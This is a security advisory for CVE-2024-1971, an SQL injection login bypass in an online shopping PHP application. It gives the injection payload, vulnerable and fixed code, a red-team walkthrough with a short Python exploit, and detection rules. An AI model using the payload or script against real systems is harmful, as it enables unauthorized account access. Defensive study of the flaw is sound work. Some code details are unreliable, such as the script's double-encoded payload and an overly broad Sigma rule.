CVE-2024-1971

Executive Summary

CVE-2024-1971 is a critical SQL injection vulnerability in the Surya2Developer Online Shopping System version 1.0. The flaw resides in the login.php file, specifically within the POST parameter handler for the password argument. An attacker can inject SQL commands via the password field, bypass authentication, and extract sensitive data from the database. The exploit has been publicly disclosed, increasing the risk of widespread attacks. The vendor has not released a patch, leaving all installations vulnerable.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, if the application is deployed via a container or custom package, ensure the base image and dependencies are scanned for known vulnerabilities.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The high confidentiality impact indicates that an attacker can read the entire database, including user credentials and personal data. The low integrity and availability impacts suggest limited ability to modify or disrupt the system.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login mechanism. The application does not sanitize or parameterize the password POST parameter. The provided exploit payload:

nochizplz'+or+1%3d1+limit+1%23

When URL-decoded, this becomes:

nochizplz' or 1=1 limit 1#

This payload closes the original SQL query string, injects an OR 1=1 condition to always return true, limits the result to one row, and comments out the rest of the query with #. This allows the attacker to bypass authentication and log in as the first user in the database, typically an administrator.

The vulnerable code likely resembles:

$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

The fix would involve using prepared statements or parameterized queries.

Vulnerable vs. Patched Code

Vulnerable Code (login.php):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // login success
} else {
    // login failed
}
?>

Patched Code (using prepared statements):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // login success
} else {
    // login failed
}
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy the vulnerable application (Surya2Developer Online Shopping System 1.0) on a local server (e.g., XAMPP, LAMP).
2. Ensure the database is populated with test users.

Exploitation Steps:

1. Navigate to the login page (e.g., http://localhost/online-shopping-system/login.php).
2. Intercept the login request using Burp Suite or a similar proxy.
3. Modify the password parameter to the payload: nochizplz'+or+1%3d1+limit+1%23
4. Send the request. The application will log you in as the first user (likely admin).

Automated Exploit (Python):

import requests

url = "http://target/login.php"
payload = "nochizplz'+or+1%3d1+limit+1%23"
data = {"username": "admin", "password": payload}
response = requests.post(url, data=data)
if "Welcome" in response.text:
    print("Login bypass successful!")
else:
    print("Exploit failed.")

Blue Team

Detection:

• Monitor for SQL injection patterns in POST parameters, especially password fields containing ' OR 1=1 or similar.
• Use WAF rules to block requests with SQL keywords in unexpected places.

Hunting:

• Search logs for requests to login.php with abnormal password values.
• Look for successful logins from IPs that previously sent SQL injection payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /login.php with password parameter containing ' OR 1=1 or # comment characters.
  • URL-encoded payloads like nochizplz%27%2Bor%2B1%3D1%2Blimit%2B1%23.
• File IOCs:
  • Suspicious entries in web server access logs (e.g., Apache access.log) with SQL injection patterns.
• System IOCs:
  • Unexpected database queries in MySQL logs (if enabled) showing SELECT * FROM users WHERE ... OR 1=1.

Detection Engineering

YARA Rule

rule CVE_2024_1971_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-1971"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1971"
    strings:
        $sqli1 = /password=.*%27.*or.*1%3D1/i
        $sqli2 = /password=.*' OR '1'='1/i
        $sqli3 = /password=.*' OR 1=1/i
        $sqli4 = /password=.*limit 1#/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2024-1971
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the password parameter in login.php
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login.php'
        cs-uri-query|contains: 
            - 'password='
            - '%27'
            - 'or'
            - '1%3D1'
            - 'limit'
            - '%23'
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1971 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/login.php"; http_uri; content:"password="; http_client_body; pcre:"/password=[^&]*%27.*or.*1%3D1/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, take the application offline until a patch is applied.
2. Code Fix: Replace all dynamic SQL queries with prepared statements or parameterized queries. Use an ORM if available.
3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection patterns.
4. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
5. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., no DROP or INSERT unless necessary).
6. Monitoring: Enable detailed logging for web and database servers, and set up alerts for suspicious activity.
7. Vendor Contact: Attempt to contact the vendor for a patch. If unresponsive, consider migrating to a supported alternative.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert